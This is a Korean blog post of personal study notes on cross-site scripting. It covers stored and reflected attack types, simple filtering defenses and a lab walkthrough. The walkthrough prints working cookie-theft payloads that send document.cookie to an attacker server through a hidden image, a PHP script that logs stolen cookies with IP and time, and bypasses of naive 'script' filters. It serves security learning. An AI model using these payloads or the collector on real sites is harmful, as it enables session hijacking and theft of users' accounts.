본문 바로가기

보안/WEB

[WAB 보안] XSS(Cross Site Scripting) 취약점

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

[ XSS (Cross Site Scripting) ]
1. 공격 원리
- 사용자로부터 입력된 정보를 검증하지 않는 경우 공격자가 악성 Script입력
- 서버를 공격하는 것이 아닌 서버를 경유하여 클라이언트를 공격

- Cookie Access
- DOM Access
- Clipboard Access
- Key logging

2. 공격 유형
1) Stored XSS
- 악성스크립트를 취약한 웹서버에 저장 ( 웹게시판 , 방명록 )
- 해당 게시물 열람한 사람이 Victim
- 악성코드 서버에 저장

2) Reflective XSS
- 악성 스크립트를 삽입한 URL을 Victim에게 노출 (이메일 ,웹게시판)
- 악성 스크립트는 서버에 저장되지 않음 (URL에 삽입)

3. 대응 방법
- <script> 입력 방지 
- 인코딩하여 사용 ( %34이런식으로 )

4. 공격방법
BTR 서버 가동 GUI모드- Accessories - BackTrack - Services -HTTPD - apache start

<script> alert(document.cookie);</script>

<script>window.open("http://192.168.10.20/GetCookie.php?Cookie="+document.cookie);</script>
 : 공격자의 Server로 피해자의 Cookie 값 전송 

<img name=i>
<script>i.src="http://192.168.10.20/GetCookie.php?Cookie="+document.cookie;</script>
 : img 태그 사용  피해자가 알아차리지 못하도록 

<img name = i width=0 height=0>
<script>i.src="http://192.168.10.20/GetCookie.php?Cookie="+document.cookie;</script>
 : 이미지 태그 안보이게 

[공격자 Server] 

<?php
$fd=fopen("/tmp/cookie.txt", "a+"); // a+ : 덧붙이다 
fputs($fd, $_GET["Cookie"]."\n");
fclose($fd);
?>
: Cookie 값 전달받아서 저장

<?php
$fd=fopen("/tmp/cookie.txt", "a+"); // a+ : 덧붙이다 
fputs($fd, date("Y-m-d H:i:s"). " " );
fputs($fd, $_SERVER["REMOTE_ADDR"]."  ");
fputs($fd, $_GET["Cookie"]."\n");
fclose($fd);
?>
 : IP , 시간 , Cookie 값 전달받아서 저장 

※ 우회방법
script → ""로 변환 
인증페이지 ( board_write.asp) 
document.write_form.content.value=
document.write_form.content.value.replace(/script/,"");
→ <SCRIPT> alert(document.cookie);</SCRIPT>
→ document.write_form.content.value.replace(/script/,i"");

→ <scriptscript> alert(document.cookie);</script></script> (한번씩박에삭제안됨)
→ document.write_form.content.value.replace(/script/,ig"");

→ <scrscriptipt> alert(document.cookie);</scscriptript>

: script안에 script 적기 ( script 를 ""로 대체시 NULL 값이 되기때문에 가능 )
→ document.write_form.content.value.replace(/script/,ig"abc");

→ script 문자열 사용할수도 있으니 <> 만 대체 
 document.write_form.content.value=document.write_form.content.value.replace(/</,"&lt");
    document.write_form.content.value=document.write_form.content.value.replace(/>/,"&gt");

 <><script> alert(document.cookie);</script> ( 괄호 삽입)
 document.write_form.content.value=document.write_form.content.value.replace(/</,g,"&lt");
    document.write_form.content.value=document.write_form.content.value.replace(/>/,g"&gt");

 URL 부분의 파라미터 부분에 XSS 삽입시 공격가능

test 문자열 : <script> alert(Success);</script>


* URL의 파라미터 부분에 XSS 삽입
http://192.168.10.30/example/personalize.asp?user_id=Hack%20<script>document.images[1].src="nothing";</script> // [n] n번째 그림 지정
http://192.168.10.30/example/personalize.asp?user_id=Hack%20<script>document.write("<br>DOM%20Access!!<br>");</script> 
: URL 은 URL 인코딩 사용  웹페이지는 HTML 인코딩 사용 

 

 

※ cheat sheet URL :

1) https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2020 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2020, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

2) https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

 

XSS Filter Evasion Cheat Sheet | OWASP

XSS Filter Evasion Cheat Sheet on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

owasp.org

 

반응형